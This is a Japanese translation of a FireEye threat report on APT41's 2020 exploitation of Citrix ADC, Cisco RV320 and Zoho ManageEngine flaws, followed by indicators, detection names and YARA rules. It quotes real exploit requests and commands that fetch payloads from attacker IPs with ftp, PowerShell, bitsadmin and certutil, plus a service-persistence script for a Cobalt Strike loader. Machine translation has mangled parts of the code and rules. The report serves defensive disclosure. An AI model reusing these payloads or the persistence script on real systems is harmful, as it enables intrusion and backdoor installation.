今年に入って、FireEye は中国の攻撃者 APT41が、私たちが近年観察した中国のサイバー スパイ活動の攻撃者による最も広範なキャンペーンの 1 つを実行していることを確認しました。 1 月 20 日から 3 月 11 日にかけて、FireEye は 75 を超える FireEye の顧客でAPT41がCitrix NetScaler/ADC 、Cisco ルーター、 Zoho ManageEngine Desktop Centralの脆弱性を悪用しようとする試みを観測しました。標的にされた国には、オーストラリア、カナダ、デンマーク、フィンランド、フランス、インド、イタリア、日本、マレーシア、メキシコ、フィリピン、ポーランド、カタール、サウジアラビア、シンガポール、スウェーデン、スイス、UAE、英国、米国が含まれます。次の業界が標的にされました: 銀行/金融、建設、防衛産業基盤、政府、ヘルスケア、ハイテク、高等教育、法律、製造、メディア、非営利、石油・ガス、石油化学、製薬、不動産、電気通信、運輸、旅行、およびユーティリティ。 APT41 がインターネットをスキャンして一斉に悪用を試みたのか、それとも特定の組織のサブセットを標的として選択したのかは不明ですが、被害者は本質的により標的を絞っているようです。
CVE-2019-19781 (Citrix Application Delivery Controller [ADC]) のエクスプロイト
2020 年 1 月 20 日以降、APT41 は IP アドレス 66.42.98[.]220 を使用して、 CVE-2019-19781 (2019 年 12 月 17 日公開) で Citrix Application Delivery Controller (ADC) および Citrix Gateway デバイスのエクスプロイトを試みました。

2020 年 1 月 20 日と 1 月 21 日の最初の CVE-2019-19781 エクスプロイト アクティビティには、コマンド「file /bin/pwd」の実行が含まれており、APT41 の 2 つの目的を達成した可能性があります。まず、システムに脆弱性があり、軽減策が適用されていないかどうかを確認します。第 2 に、APT41 がフォローアップ手順でバックドアを正常に展開するために必要な知識となるアーキテクチャ関連の情報を返す可能性があります。
注目すべき興味深い点の 1 つは、観察されたすべての要求が Citrix デバイスに対してのみ実行されたことです。これは、APT41 が、インターネット上でアクセス可能な識別済みデバイスの既知のリストを使用して動作していたことを示唆しています。
POST /vpns/portal/scripts/newbm.pl HTTP/1.1 url=http://example.com&title=[編集済み]&desc=[% template.new(‘BLOCK’ = ‘print `file /bin/pwd`’) %] |
図 2: CVE-2019-19781 を悪用する APT41 HTTP トラフィックの例
1 月 23 日から 2 月 1 日にかけて APT41 の活動は停滞しています。これは、2020 年 1 月 24 日から 1 月 30 日にかけて発生した中国の旧正月の休暇に関連している可能性があります。これは、過去数年間の中国の APT グループによる一般的な活動パターンでした。同じように。
2020 年 2 月 1 日以降、APT41 はファイル転送プロトコル (FTP) 経由でダウンロードを開始する CVE-2019-19781 エクスプロイト ペイロードの使用に移行しました。具体的には、APT41 は「/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]@66.42.98[.]220/bsd」というコマンドを実行し、66.42.98[.] に接続しました。 220 を FTP プロトコル経由で送信し、「test」というユーザー名と編集済みのパスワードを使用して FTP サーバーにログインし、「bsd」という名前の不明なペイロードをダウンロードしました (これはおそらくバックドアでした)。
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 url=http://example.com&title=[編集済み]&desc=[% template.new(‘BLOCK’ = ‘ print `/usr/bin/ftp -o /tmp/bsd ftp://test:[編集済み] @66.42.98[.]220/bsd `’) %] |
図 3: CVE-2019-19781 を悪用する APT41 HTTP トラフィックの例
2020 年 2 月 2 日から 2 月 19 日まで、FireEye のお客様で APT41 の活動は観察されませんでした。 2 月 10 日。この活動の減少は、中国での COVID-19 検疫措置に関連している可能性がありますが、APT41 は別の方法で活動を続けていた可能性があり、FireEye テレメトリーでは観察できませんでした。 2 月 24 日と 2 月 25 日に、CVE-2019-19781 エクスプロイトが大幅に増加したことを確認しました。エクスプロイトの動作は、ペイロードの名前「un」のみが変更された 2 月 1 日のアクティビティとほぼ同じでした。
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 url=http://example.com&title= [編集済み]&desc=[% template.new(‘BLOCK’ = ‘ print `/usr/bin/ftp -o /tmp/un ftp://test:[編集済み] @66.42.98[.]220/un `’) %] |
図 4: CVE-2019-19781 を悪用する APT41 HTTP トラフィックの例
Citrix は、2019 年 12 月 17 日に CVE-2019-19781 の緩和策をリリースし、2020 年 1 月 24 日の時点で、Citrix ADC、ゲートウェイ、および SD-WAN WANOP のサポートされているすべてのバージョンの恒久的な修正をリリースしました。
Cisco ルーターの悪用
2020 年 2 月 21 日、APT41 は通信組織の Cisco RV320 ルーターの悪用に成功し、「fuc」という名前の 64 ビット MIPS プロセッサ用にコンパイルされた 32 ビット ELF バイナリ ペイロードをダウンロードしました (MD5: 155e98e5ca8d662fad7dc84187340cbc)。具体的にどのようなエクスプロイトが使用されたかは不明ですが、2 つの CVE ( CVE-2019-1653およびCVE-2019-1652 ) を組み合わせて Cisco RV320 および RV325 スモール ビジネス ルーターでリモート コード実行を可能にし、wget を使用してダウンロードする Metasploit モジュールがあります。指定されたペイロード。
/test/fuc を取得 |
図 5: Cisco RV320 ルーターが wget 経由でペイロードをダウンロードしていることを示す HTTP 要求の例
66.42.98[.]220 は、http://66.42.98[.]220/test/1.txt というファイル名もホストしていました。 1.txt (MD5: c0c467c8e9b2046d7053642cc9bdd57d) の内容は「cat /etc/flash/etc/nk_sysconfig」です。これは、Cisco RV320 ルータで現在の設定を表示するために実行するコマンドです。
Cisco PSIRT は、指摘された脆弱性に対処するための修正済みソフトウェアが利用可能であることを確認し、お客様に次のセキュリティ アドバイザリを確認して適切な措置を講じるようお願いしています。
- Cisco Small Business RV320 および RV325 ルータの情報漏えいの脆弱性
- Cisco Small Business RV320 および RV325 ルータのコマンド インジェクションの脆弱性
CVE-2020-10189(Zoho ManageEngine のゼロデイ脆弱性)のエクスプロイト
2020 年 3 月 5 日、研究者のスティーブン シーリーは、バージョン 10.0.474 ( CVE-2020-10189)より前のバージョンの Zoho ManageEngine デスクトップ セントラルに存在するゼロデイ リモート コード実行の脆弱性に対するアドバイザリと概念実証コードを公開しました。 3 月 8 日以降、FireEye は、APT41 が 91.208.184[.]78 を使用して、12 を超える FireEye の顧客で Zoho ManageEngine の脆弱性を悪用しようとすることを確認しました。これにより、少なくとも 5 人の個別の顧客が侵害されました。 FireEye は、ペイロード (install.bat と storesyncsvc.dll) の展開方法の 2 つの異なるバリエーションを観察しました。最初のバリエーションでは、CVE-2020-10189 エクスプロイトを使用して、単純な Java ベースのプログラムである「logger.zip」を直接アップロードしました。このプログラムには、PowerShell を使用して install.bat と storesyncsvc.dll をダウンロードして実行するための一連のコマンドが含まれていました。
Java/言語/ランタイム getRuntime ()Ljava/lang/Runtime; Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile(‘http://66.42.98[.]220:12345/test/install.bat’,’C: ‘(Ljava/lang/String;)Ljava/lang/Process; スタックマップテーブル ysoserial/Pwner76328858520609 リソシリアル/Pwner76328858520609; |
図 6: logger.zip の内容
ここでは、POC でペイロードを作成するために使用されたツールysoserialのツールマークが表示されます。文字列 Pwner76328858520609 は POC ペイロードに固有のものであり、APT41 が操作のソース マテリアルとして POC を使用した可能性が高いことを示しています。
2 つ目のバリエーションでは、FireEye は、APT41 が Microsoft BITSAdmin コマンドライン ツールを利用して、ポート 12345 の既知の APT41 インフラストラクチャ 66.42.98[.]220 から install.bat (MD5: 7966c2c546b71e800397a67f942858d0) をダウンロードすることを確認しました。
親プロセス: C:ManageEngineDesktopCentral_Serverjrebinjava.exe プロセスの引数: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:UsersPublicinstall.bat |
図 7: CVE-2020-10189 の悪用の成功を示す FireEye エンドポイント セキュリティ イベントの例
両方のバリエーションで、install.bat バッチ ファイルを使用して、storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f) という Cobalt Strike BEACON ローダーの試用版の永続性をインストールしました。
@エコーオフ 「WORK_DIR=C:WindowsSystem32」に設定 「DLL_NAME=storesyncsvc.dll」を設定します 「SERVICE_NAME=StorSyncSvc」を設定します 「DISPLAY_NAME=ストレージ同期サービス」を設定します set “DESCRIPTION=ストレージ同期サービスは、ファイル同期の最上位リソースです。複数の同期グループを介して複数のストレージ アカウントとの同期関係を作成します。このサービスが停止または無効になっている場合、アプリケーションはまとめて実行できません。” sc stop %SERVICE_NAME% sc 削除 %SERVICE_NAME% mkdir %WORK_DIR% コピー “%~dp0%DLL_NAME%” “%WORK_DIR%” /Y reg add “HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSvchost” /v “%SERVICE_NAME%” /t REG_MULTI_SZ /d “%SERVICE_NAME%” /f sc create “%SERVICE_NAME%” binPath= “%SystemRoot%system32svchost.exe -k %SERVICE_NAME%” type= share start= auto error= ignore DisplayName= “%DISPLAY_NAME%” SC 障害 “%SERVICE_NAME%” リセット = 86400 アクション = 再起動/60000/再起動/60000/再起動/60000 sc 説明 “%SERVICE_NAME%” “%DESCRIPTION%” reg add “HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters” /f reg add “HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters” /v “ServiceDll” /t REG_EXPAND_SZ /d “%WORK_DIR%%DLL_NAME%” /f ネットスタート “%SERVICE_NAME%” |
図 8: install.bat の内容
Storesyncsvc.dll は Cobalt Strike BEACON インプラント (試用版) であり、jquery 可鍛性コマンド アンド コントロール (C2) プロファイルを使用して exchange.dumb1[.]com (74.82.201[.]8 の DNS 解決) に接続していました。
GET /jquery-3.3.1.min.js HTTP/1.1 |
図 9: APT41 Cobalt Strike BEACON jquery malleable C2 プロファイル HTTP リクエストの例
最初のエクスプロイトから数時間以内に、APT41 は、storescyncsvc.dll BEACON バックドアを使用して、Microsoft CertUtilを使用する別の C2 アドレスを持つセカンダリ バックドアをダウンロードしました。 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) をダウンロードします。ファイル 2.exe は、Cobalt Strike BEACON シェルコードをダウンロードするために使用される VMProtected Meterpreter ダウンローダーでした。 VMProtected バイナリの使用は、このグループがツールキット内の他のツールの分析を遅らせるために複数回の侵入に利用することを観察したもう 1 つの非常に一般的な TTP です。
GET /2.exe HTTP/1.1 |
図 10: CertUtil を介して「2.exe」VMProtected Meterpreter ダウンローダーをダウンロードする HTTP 要求の例
certutil -urlcache -split -f http://91.208.184[.]78/2.exe |
図 11: VMProtected Meterpreter ダウンローダー「2.exe」をダウンロードするための CertUtil コマンドの例
Meterpreter ダウンローダー「TzGG」は、ポート 443 経由で 91.208.184[.]78 と通信して、Cobalt Strike BEACON (試用版) のシェルコード (MD5: 659bd19b562059f3f0cc978e15624fd9) をダウンロードするように構成されていました。
GET /TzGG HTTP/1.1 |
図 12: Cobalt Strike BEACON の「TzGG」シェルコードをダウンロードする HTTP 要求の例
ダウンロードされた BEACON シェルコードは、同じ C2 サーバー (91.208.184[.]78) に接続されていました。これは攻撃者が侵害されたシステムへのエクスプロイト後のアクセスを多様化しようとしている例であると考えられます。
ManageEngine は、2020 年 1 月 20 日に CVE-2020-10189 の短期的な緩和策をリリースし、続いて 2020 年 3 月 7 日に長期的な修正を含む更新プログラムをリリースしました。
見通し
この活動は、ここ数年で中国関連のスパイ活動のアクターから見た中で最も広まったキャンペーンの 1 つです。 APT41 はこれまで、NetSarang ソフトウェアのトロイの木馬化など、広範な初期エントリで活動を行ってきましたが、このスキャンとエクスプロイトは一部の顧客に焦点を当てており、APT41 の高い運用テンポと幅広い収集要件が明らかになったようです。
これらのエクスプロイトの試みが、Cobalt Strike や Meterpreter などの公開されているマルウェアを利用しているのを確認しただけであることは注目に値します。これらのバックドアは完全な機能を備えていますが、以前のインシデントでは、APT41 は、その場所を完全に理解し、最初の偵察を実行するまで、より高度なマルウェアの展開を待ちました。 2020 年も、APT41 は引き続き、FireEye が現在追跡している最も多作な脅威の 1 つです。このグループのこの新しい活動は、彼らがいかに機知に富み、いかに迅速に新たに公開された脆弱性を有利に利用できるかを示しています。
以前、 FireEye Mandiant Managed Defenseは、APT41 が米国に本拠を置く大学に対して CVE-2019-3396 (Atlassian Confluence) を首尾よく活用していることを確認しました。 APT41は国家が支援する中国の脅威グループであり、スパイ活動を行っていますが、この攻撃者は個人的な利益を目的とした金銭目的の活動も行っています。
指標
タイプ |
指標 |
CVE-2019-19781 エクスプロイト (Citrix Application Delivery Control) |
66.42.98[.]220 CVE-2019-19781 「ファイル /bin/pwd」のペイロードを悪用しようとする試み 「/usr/bin/ftp -o /tmp/un ftp://test:[redacted]@66.42.98[.]220/bsd」のペイロードによる CVE-2019-19781 エクスプロイトの試み 「/usr/bin/ftp -o /tmp/un ftp://test:[redacted]@66.42.98[.]220/un」のペイロードによる CVE-2019-19781 エクスプロイトの試み /tmp/bsd /tmp/un |
Cisco ルーターの悪用 |
66.42.98.220 ‘1.txt’ (MD5: c0c467c8e9b2046d7053642cc9bdd57d) ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc |
CVE-2020-10189 (Zoho ManageEngine デスクトップ セントラル) |
66.42.98[.]220 91.208.184[.]78 74.82.201[.]8 exchange.dumb1[.]com install.bat (MD5: 7966c2c546b71e800397a67f942858d0) storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f) C:WindowsTempstoresyncsvc.dll C:WindowsTempinstall.bat 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c) C:Users[編集済み]install.bat TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9) C:ManageEngineDesktopCentral_Serverjrebinjava.exe が cmd.exe および/または bitsadmin.exe を生成 91.208.184[.]78 から 2.exe および/またはペイロードをダウンロードする Certutil.exe Net.WebClient を使用してファイルをダウンロードする PowerShell |
テクニックの検出
FireEye は、プラットフォーム全体でこのアクティビティを検出します。この表には、このアクティビティが発生する前に利用可能だった検出のより大きなリストからの特定の検出名がいくつか含まれています。
プラットホーム |
署名名 |
エンドポイント セキュリティ |
BITSADMIN.EXE マルチステージ ダウンローダー (手法) CERTUTIL.EXE ダウンローダー A (ユーティリティ) Generic.mg.5909983db4d9023e Generic.mg.3e856162c36b5329 PowerShell ダウンローダー (方法論) 疑わしいビット管理者の使用法 B (方法論) サムウェル (バックドア) ZOHO MANAGE ENGINEによる疑わしいコードの実行(エクスプロイト) |
ネットワークセキュリティー |
Backdoor.Meterpreter DTI.Callback Exploit.CitrixNetScaler Trojan.METASTAGE Exploit.ZohoManageEngine.CVE-2020-10198.Pwner Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader |
ヘリックス |
CITRIX ADC [疑わしいコマンド] |
MITRE ATT&CK テクニック マッピング
ATT&CK |
テクニック |
初期アクセス |
外部リモート サービス (T1133)、公開アプリケーションの悪用 (T1190) |
実行 |
PowerShell (T1086)、スクリプト (T1064) |
持続性 |
新サービス(T1050) |
権限昇格 |
権限昇格のための悪用 (T1068) |
防御回避 |
BITS ジョブ (T1197)、プロセス インジェクション (T1055) |
コマンドと制御 |
リモート ファイル コピー (T1105)、一般的に使用されるポート (T1436)、一般的に使用されないポート (T1065)、カスタム コマンド アンド コントロール プロトコル (T1094)、データ エンコーディング (T1132)、標準アプリケーション層プロトコル (T1071) |
付録 A: 検出ルール
次の Yara ルールは、APT41 アクター TTP の検出ルールの例として機能し、検出またはハンティングの目的で、敵対者の方法またはトレードクラフトを新しい干し草の山に変えます。すべてのトレードクラフト ベースの検出ルールについて、運用システムに実装する前に、慎重なテストと調整を行うことをお勧めします。これらのルールの一部は、忠実度の高い検出のために簡単に確認できる簡潔な干し草の山を構築するように調整されています。これらのルールの一部は、脅威ハンティング システムでのさらなる自動化または処理のために、より大きな干し草の山を構築する範囲が広いものです。
インポート「オン」 ルール ExportEngine_APT41_Loader_String { メタ: 著者 = “@stvemillertime” 説明 “これは、loader_X86_svchost.dll など、BEACON シェルコード ローダーで一般的な APT41 エクスポート DLL 名を探します” 文字列: $pcre = /loader_[x00-x7F]{1,}x00/ 調子: uint16(0) == 0x5A4D および uint32(uint32(0x3C)) == 0x00004550 および $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } ルール ExportEngine_ShortName { メタ: 著者 = “@stvemillertime” description = “これは、エクスポート DLL 名が 1 文字である Win PE を探します” 文字列: $pcre = /[A-Za-z0-9]{1}.(dll|exe|dat|bin|sys)/ 調子: uint16(0) == 0x5A4D および uint32(uint32(0x3C)) == 0x00004550 および $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } ルール ExportEngine_xArch { メタ: 著者 = “@stvemillertime” description = “これは、エクスポート DLL 名が x32.dat のような Win PE を探します” 文字列: $pcre = /[x00-x7F]{1,}x(32|64|86).datx00/ 調子: uint16(0) == 0x5A4D および uint32(uint32(0x3C)) == 0x00004550 および $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) } ルール RareEquities_LibTomCrypt { メタ: 著者 = “@stvemillertime” description = “これは、一部の APT41 風のアクター https://github.com/libtom/libtomcrypt によって見られるように、LibTomCrypt からの文字列を含む実行可能ファイルを探します – すべての BEACON もキャッチする可能性があります。Golang および UPX で圧縮されたサンプルを除外することをお勧めします。” 文字列: $a1 = “LibTomMath” 調子: uint16(0) == 0x5A4D および uint32(uint32(0x3C)) == 0x00004550 および $a1 } ルール RareEquities_KCP { メタ: 著者 = “@stvemillertime” description = “これは、KCP と呼ばれるトランスポート ライブラリのエクイティを含む実行可能ファイルを探す幅広いキャッチオール ルールです。https://github.com/skywind3000/kcp このルールに一致すると、KCP トランスポート機能が組み込まれている可能性があります。” 文字列: $a01 = “[RO] %ld バイト” $a02 = “recv sn=%lu” $a03 = “[RI] %d バイト” $a04 = “入力 ack: sn=%lu rtt=%ld rto=%ld” $a05 = “入力 psh: sn=%lu ts=%lu” $a06 = “入力プローブ” $a07 = “入力勝利: %lu” $a08 = “rcv_nxt=%lun” $a09 = “snd(buf=%d, queue=%d)n” $a10 = “rcv(buf=%d, queue=%d)n” $a11 = “rcvbuf” 調子: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*) } 規則 ConventionEngine_Term_Users { メタ: 著者 = “@stvemillertime” description = “PDB パスのキーワード、用語、または異常を含む PE ファイルを検索しています。” sample_md5 = “09e4e6fa85b802c46bc121fcaecc5666” ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html” 文字列: $pcre = /RSDS[x00-xFF]{20}[a-zA-Z]:[x00-xFF]{0,200}ユーザー[x00-xFF]{0,200}.pdb x00/nocase ascii 調子: (uint16(0) == 0x5A4D) および uint32(uint32(0x3C)) == 0x00004550 および $pcre } ルール ConventionEngine_Term_Desktop { メタ: 著者 = “@stvemillertime” description = “PDB パスのキーワード、用語、または異常を含む PE ファイルを検索しています。” sample_md5 = “71cdba3859ca8bd03c1e996a790c04f9” ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html” 文字列: $pcre = /RSDS[x00-xFF]{20}[a-zA-Z]:[x00-xFF]{0,200}デスクトップ[x00-xFF]{0,200}.pdb x00/nocase ascii 調子: (uint16(0) == 0x5A4D) および uint32(uint32(0x3C)) == 0x00004550 および $pcre } 規則 ConventionEngine_Anomaly_MultiPDB_Double { メタ: 著者 = “@stvemillertime” description = “PDB パスのキーワード、用語、または異常を含む PE ファイルを検索しています。” sample_md5 = “013f3bde3f1022b6cf3f2e541d19353c” ref_blog = “https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html” 文字列: $pcre = /RSDS[x00-xFF]{20}[a-zA-Z]:[x00-xFF]{0,200}.pdbx00/ 調子: (uint16(0) == 0x5A4D) および uint32(uint32(0x3C)) == 0x00004550 および #pcre == 2 } |
Comments